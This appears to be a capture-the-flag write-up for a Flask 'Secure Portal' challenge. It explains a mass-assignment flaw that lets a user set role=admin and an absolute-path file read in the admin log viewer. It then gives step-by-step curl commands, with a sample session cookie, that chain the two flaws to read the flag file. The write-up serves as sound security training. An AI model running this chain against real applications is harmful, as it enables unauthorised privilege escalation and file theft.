Secure Portal - Solve CTF Challenge
Step 1: Analyze the source code
.
├── Dockerfile
├── SOLVE.md
├── app
│ ├── __init__.py
│ ├── middleware
│ │ ├── __init__.py
│ │ └── security.py
│ ├── models
│ │ ├── __init__.py
│ │ └── user.py
│ ├── routes
│ │ ├── __init__.py
│ │ ├── admin.py
│ │ ├── auth.py
│ │ └── main.py
│ ├── static
│ │ ├── css
│ │ │ └── style.css
│ │ └── js
│ │ └── main.js
│ ├── templates
│ │ ├── admin_dashboard.html
│ │ ├── admin_logs.html
│ │ ├── base.html
│ │ ├── dashboard.html
│ │ ├── login.html
│ │ ├── profile.html
│ │ └── register.html
│ └── utils
│ ├── __init__.py
│ ├── csrf.py
│ └── decorators.py
├── config.py
├── docker-compose.yml
├── requirements.txt
└── run.py
run.py
We can see where is the flag is located in side the server side. It is located in /tmp/flag.txt
flag_dir = '/tmp'
os.makedirs(flag_dir, exist_ok=True)
flag_path = os.path.join(flag_dir, 'flag.txt')
app/models/user.py
From user.py, we can determine what keys of the user are stored in the database. User --> username, email, password_hash, role, created_at.
class User(UserMixin, db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)
password_hash = db.Column(db.String(255), nullable=False)
role = db.Column(db.String(20), default='user', nullable=False)
created_at = db.Column(db.DateTime, default=db.func.now())
app/routes/auth.py && app/routes/main.py
In login(), register(), dashboard(), profile() and update_profile() , the CSRF token is always renew when there is a request.
I found a vulnerability in function update_profile that I can take advantage of. These lines of code can help me modify other keys of the user in the database. It iterates through all keys in the POST request and applies them to the user using setattr(). While it blocks email, password and csrf_token; it doesn't block the role and created_at attribute.
for key, value in request.form.items():
if key not in ['csrf_token', 'email', 'password']:
if hasattr(user, key):
setattr(user, key, value)
I think the author of this CTF challenge did this on purpose because there is no purpose of writing these code. The code below has already done the job of changing email and new_password. There is no reason why the author had to write the code above.
email = request.form.get('email', '').strip()
new_password = request.form.get('password', '').strip()
if email:
existing_user = User.query.filter_by(email=email).first()
if existing_user and existing_user.id != user.id:
return jsonify({'error': 'Email already in use'}), 400
user.email = email
if new_password:
user.set_password(new_password)
app/routes/admin.py
The admin log viewer in function admin_logs has a big mistake by not using os.path.join() correctly.
Example: path = os.path.join("/home", "user", "documents", "/etc", "config.txt")
Output: /etc/config.txt
Explanation: In this case, the presence of the absolute path "/etc" resets the earlier components, resulting in only the absolute path being displayed.
(Source: https://www.geeksforgeeks.org/python/python-os-path-join-method/)
This means any admin can read any file on the filesystem that the web application has permission to access. Its sanitization is not complete too, it only checks for ../. It does not check for /.
@admin_bp.route('/logs')
@admin_required
def admin_logs():
log_path = request.args.get('path', 'application.log')
if '../' in log_path:
return jsonify({'error': 'Invalid file path detected'}), 400
base_log_dir = '/var/log/secureportal/'
full_path = os.path.join(base_log_dir, log_path)
with open(full_path, 'r') as f:
content = f.read()
Step 2: Exploit
1. Register a new account:
You can use any tool/application you want, but I prefer curl
curl -i -X POST https://FIA_CTF_CHALL:PORT/register \
-d "username=hackerlo&email=hacker@gay.com&password=skibidi"
When success: <div class="alert alert-success">Account created successfully! Please log in.</div>
2. Login to the new account:
curl -i -X POST https://FIA_CTF_CHALL:PORT/login \
-d "username=hackerlo&password=skibidi"
When success:
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/dashboard">/dashboard</a>. If not, click the link.
Remember to save its cookie session:
Set-Cookie: session=.eJw9zjsOwyAMANC7MHfAHzDkMpHBRu3QqCLJVPXujVSp-xveO6xj-n4PyzFPv4X1YWEJ0HpzozFAqubiOaVkBJisVR1JBxNxBeuxZSnosWAGKz366JGpCjZhBtPavPWISagieJcRezZEdUmdMLOyk19AgYWRRR2MooUr8vL51M234187d5-_n4TPF38ENeM.acPPKA.qIWqFa7ayke0PqjXMCt6YTo0Trg;
(The cookie session only lasts for 5 minutes so you have to be fast)
3. Privilege Escalation
Now this time you will take advantage of update_profile to change user's role to admin
Get a fresh authenticated CRSF token from the profile page and a fresh cookie session.
curl -i https://FIA_CTF_CHALL:PORT/profile \
-H "Cookie: session=[Authenticated_session]"
Inject the role=admin parameter
curl -i https://FIA_CTF_CHALL:PORT/update_profile \
-H "Cookie: session=[Authenticated_session]" \
-d "role=admin&csrf_token=[Token]"
When success: {"message":"Profile updated successfully","success":true}
4. Get the flag
Finally, you will use your admin accces to read the flag file by the vulnerability in admin.py
curl -i https://FIA_CTF_CHALL:PORT/admin/logs?path=/tmp/flag.txt/ \
-H "Cookie: session=[Admin_session]"
or you can just use your browser to get the flag by this url https://FIA_CTF_CHALL:PORT/admin/logs?path=/tmp/flag.txt/